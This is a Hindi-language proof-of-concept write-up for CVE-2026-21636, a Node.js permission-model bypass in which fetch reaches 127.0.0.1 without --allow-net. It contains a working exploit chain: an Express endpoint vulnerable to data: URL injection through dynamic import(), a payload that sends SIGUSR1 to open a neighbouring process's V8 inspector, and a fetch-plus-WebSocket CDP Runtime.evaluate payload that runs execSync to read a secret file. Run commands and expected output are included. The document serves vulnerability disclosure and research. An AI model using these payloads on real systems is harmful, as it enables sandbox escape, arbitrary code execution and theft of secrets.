
प्रूफ-ऑफ-कॉन्सेप्ट जो Node.js अनुमति मॉडल बायपास (CVE-2026-21636) का प्रदर्शन करता है, जो undici/fetch के माध्यम से स्थानीय सेवाओं तक नेटवर्क एक्सेस की अनुमति देता है, जिससे CDP के माध्यम से मनमाना कोड निष्पादन संभव होता है।
Node.js अनुमति मॉडल (--permission) को फाइलसिस्टम, चाइल्ड प्रोसेस, वर्कर्स और नेटवर्क तक पहुंच को प्रतिबंधित करके एक प्रोसेस को सैंडबॉक्स करने के लिए डिज़ाइन किया गया है। CVE-2026-21636 से पता चलता है कि undici/fetch (और net/tls) के माध्यम से यूनिक्स डोमेन सॉकेट्स और स्थानीय TCP पतों पर किए गए कनेक्शन नेटवर्क गार्ड को पूरी तरह से बाईपास कर देते हैं, भले ही --allow-net अनुपस्थित हो।
प्रभावित: Node.js v25 (नेटवर्क अनुमतियाँ अभी भी खुलासे के समय प्रयोगात्मक हैं)।
यह PoC v22 पर अवधारणा को पुन: प्रस्तुत करता है जहां समान बाईपास देखा जा सकता है।
एक हमलावर जो --permission (लेकिन --allow-net या --allow-child-process के बिना) के तहत चल रही प्रक्रिया में मनमाना JavaScript इंजेक्ट कर सकता है, वह:
supervisord के तहत कंटेनर के अंदर दो प्रक्रियाएं साथ-साथ चलती हैं:
target.cjs स्टार्टअप पर अपना PID /tmp/target.pid में लिखता है, फिर हमेशा के लिए लूप करता है (निष्क्रिय पीड़ित प्रक्रिया)। server.mjs :8000 पर एक Express सर्वर को /pid एंडपॉइंट और एक कमजोर /language एंडपॉइंट के साथ उजागर करता है।
/app/secret.txt app के स्वामित्व में है (chmod 444)। दोनों प्रक्रियाएं OS स्तर पर इसे एक्सेस कर सकती हैं। एक्सप्लॉइट फ़ाइल-अनुमति बाधा पर निर्भर नहीं करता है — यह प्रदर्शित करता है कि server.mjs, --allow-net अनुपस्थित होने के बावजूद, fetch()/WebSocket के माध्यम से 127.0.0.1:9229 तक पहुंच सकता है और अनसैंडबॉक्स्ड target.cjs प्रक्रिया के अंदर मनमाना कोड निष्पादित कर सकता है। CDP के माध्यम से secret.txt पढ़ना उस कोड निष्पादन का प्रमाण है।
नोट: यह PoC वास्तव में क्या प्रदर्शित करता है
क्योंकि
server.mjsपहले से ही--allow-fs-read=/के साथ चलता है, सैंडबॉक्स्ड प्रक्रिया से सीधे/app/secret.txtपढ़ना केवल JS इंजेक्शन (चरण 1) का उपयोग करके तुच्छ रूप से संभव है:import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };फाइलसिस्टम रीड इस PoC के बारे में नहीं है। लक्ष्य CVE-2026-21636 प्रदर्शित करना है:
--allow-netअनुपस्थित होने के बावजूद,fetch()(undici)127.0.0.1:9229पर TCP कनेक्शन स्थापित कर सकता है, अनुमति मॉडल के नेटवर्क गार्ड को पूरी तरह से बाईपास कर सकता है। एक्सप्लॉइट उस बाईपास का उपयोग CDP के माध्यम से पूरी तरह से अनसैंडबॉक्स्डtarget.cjsप्रक्रिया में पिवट करने और सैंडबॉक्स के बाहर मनमाना कोड निष्पादन प्राप्त करने के लिए करता है; कुछ ऐसा जो किसी भी मात्रा में--allow-fs-readकी अनुमति नहीं देगा।
POST /languageयह अनुभाग poc के दायरे से बाहर है।
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
सर्वर उपयोगकर्ता-नियंत्रित स्ट्रिंग पर एक डायनामिक import() करता है। Node.js का import() मूल रूप से data: URL स्कीम का समर्थन करता है:
data:text/javascript,<percent-encoded JS>
सर्वर द्वारा जोड़ा गया /index.js सफिक्स पेलोड के अंत में // जोड़कर निष्प्रभावी किया जाता है (URL टिप्पणी / अनदेखा पथ खंड के रूप में माना जाता है)।
यह सैंडबॉक्स्ड प्रक्रिया के अंदर मनमाना JavaScript निष्पादन देता है - CVE-2026-21636 का दुरुपयोग करने का प्रवेश बिंदु।
सर्वर इसके साथ शुरू होता है:
node --permission --allow-fs-read=/ /app/server.mjs
इरादा: भले ही कोई हमलावर server.mjs के अंदर कोड चलाता है, वे नेटवर्क तक नहीं पहुंच सकते, प्रोसेस स्पॉन नहीं कर सकते, या इंस्पेक्टर तक एक्सेस नहीं कर सकते।
CVE-2026-21636 --allow-net सीमा को तोड़ता है।
GET /pid → { "pid": <N> }
target.cjs स्टार्टअप पर अपना PID /tmp/target.pid में लिखता है। सर्वर इसे उजागर करता है। यह पीड़ित प्रक्रिया की पहचान करता है जिसे CDP रिले के रूप में उपयोग किया जाएगा।
यह प्रवेश बिंदु में js इंजेक्ट करके भी किया जा सकता है; इसे सरल बनाने के लिए, मैंने केवल /pid एंडपॉइंट बनाया है।
target.cjs पर V8 इंस्पेक्टर सक्रिय करेंPOST /language के माध्यम से इंजेक्ट किया गया पेलोड (data: URL के रूप में):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
जब एक Node.js प्रक्रिया SIGUSR1 प्राप्त करती है, तो यह अपना V8/CDP डिबगर शुरू (या फिर से शुरू) करती है और सुनना शुरू करती है:
127.0.0.1:9229
क्योंकि target.cjs --permission के बिना चलता है, इसका इंस्पेक्टर पूरी तरह से विशेषाधिकार प्राप्त है - यह किसी भी अभिव्यक्ति का मूल्यांकन कर सकता है, जिसमें require('child_process').execSync(...) शामिल है।
सिग्नल भेजना (process.kill) अनुमति मॉडल द्वारा गेटेड नहीं है, इसलिए यह चरण सैंडबॉक्स के अंदर से सफल होता है।
POST /language के माध्यम से इंजेक्ट किया गया दूसरा पेलोड:
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
यह --allow-net अनुपस्थित होने के बावजूद क्यों काम करता है:
Node.js में fetch() undici द्वारा कार्यान्वित किया जाता है। CVE-2026-21636 दिखाता है कि http://127.0.0.1:... (और UDS socketPath विकल्प) के लिए undici का कनेक्शन पथ अनुमति मॉडल के नेटवर्क चेक से नहीं गुजरता। सैंडबॉक्स मानता है कि कोई आउटबाउंड नेटवर्क एक्सेस नहीं किया गया था, फिर भी :9229 पर TCP कनेक्शन सफल होता है।
CDP Runtime.evaluate कॉल अनसैंडबॉक्स्ड target.cjs प्रक्रिया के अंदर चलता है, इसलिए require('child_process') उपलब्ध है और execSync स्वतंत्र रूप से काम करता है।
attacker (Python script)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs inspector starts on :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636 bypass here
(fetch to 127.0.0.1 without --allow-net)
# Build and start the environment
docker compose up --build -d
# Run the exploit
python3 exploit.py
अपेक्षित आउटपुट:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| प्रक्रिया | उपयोगकर्ता | फ्लैग | क्षमताएं |
|---|
target.cjs | app | कोई नहीं | पूर्ण Node.js API, कोई सैंडबॉक्स नहीं |
server.mjs | app | --permission --allow-fs-read=/ | पूर्ण FS रीड — कोई नेट नहीं, कोई child_process नहीं, कोई worker नहीं |
| अनुमति | स्थिति |
|---|
--allow-fs-read=/ | प्रदान की गई (पूर्ण रीड) |
--allow-fs-write | अस्वीकृत |
--allow-net | अस्वीकृत (प्रयोगात्मक, सेट नहीं) |
--allow-child-process | अस्वीकृत |
--allow-worker | अस्वीकृत |
--allow-inspector | अस्वीकृत |